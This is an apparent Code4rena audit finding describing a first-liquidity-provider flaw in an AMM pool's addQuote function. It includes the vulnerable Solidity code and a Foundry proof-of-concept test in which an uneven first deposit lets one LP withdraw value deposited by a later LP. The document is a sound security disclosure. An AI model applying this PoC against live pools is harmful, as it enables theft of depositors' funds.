Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 94/103
Findings: 1
Award: $6.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
The first liquidity provider can provide a uneven amount of liquidity and steal from all subsequent LPs (see PoC).
After the pool is initialized anyone not using a high enough slippage protection will risk to lose value to the first LP. Additionnaly, if next LPs notice that they don't get as much share as they should, they will lose any incentive to add liquidity to it.
That being said, the first LP cannot frontrun someone trying to initialize the pool because the slippage protection prevents it, but I still think that the issue is of high severity because an LP will only set the slippage protection according to what is shown to him as a % of share that he deserves. If the calculation leading to the slippage protection (using addQuote
) in the UI consider that the this user should get as much share as the first LP even though he provided more value, it would not prevent him to lose value (see PoC where second LP get as much share as first LP while providing more value).
Affected code:
function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) { uint256 lpTokenSupply = lpToken.totalSupply(); if (lpTokenSupply > 0) { // calculate amount of lp tokens as a fraction of existing reserves uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); } else { // if there is no liquidity then init return Math.sqrt(baseTokenAmount * fractionalTokenAmount); } }
Run: forge test --match-test "FirstLPVuln" -vvv
address internal lp1 = address(0x196); address internal lp2 = address(0x136); function testFirstLPVuln() public { // liquidity pool init (could have frontrun lp2) changePrank(lp1); deal(address(usd), lp1, 1 wei); deal(address(p), lp1, 10 ether); console.log("Before Init LP1"); console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1)); console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1)); console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1)); console.log("-----------------"); usd.approve(address(p), type(uint256).max); p.add(1 wei, 10 ether, 1 wei); console.log("After Init LP1"); console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1)); console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1)); console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1)); console.log("-----------------"); // first lp after init console.log("LP2 Add Liquidity"); changePrank(lp2); deal(address(usd), lp2, 10 ether); deal(address(p), lp2, 10 ether); usd.approve(address(p), type(uint256).max); p.add(10 ether, 10 ether, 1 wei); // lp1 and lp2 get the same amount of share even though lp2 deposited more value console.log("LPbalanceOf(lp2)",lpToken.balanceOf(lp2)); console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1)); (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount) = p.removeQuote(3162277660); console.log("baseTokenOutputAmount",baseTokenOutputAmount); console.log("fractionalTokenOutputAmount",fractionalTokenOutputAmount); console.log("-----------------"); // lp2 remove more liquidity than he put in -> lp2 lose value changePrank(lp1); p.remove(3162277660, 5e17, 10 ether); console.log("After Remove LP1"); console.log("LPbalanceOf(lp1)",lpToken.balanceOf(lp1)); console.log("FRACbalanceOf(lp1)",p.balanceOf(lp1)); console.log("BASEbalanceOf(lp1)",usd.balanceOf(lp1)); }
Manual Review, Foundry
One way to solve this would be to ensure that LPs have to provide an equivalent value of pair tokens (according to the relative price and even at the beginning).
#0 - c4-judge
2022-12-28T15:46:52Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:19:12Z
berndartmueller marked the issue as satisfactory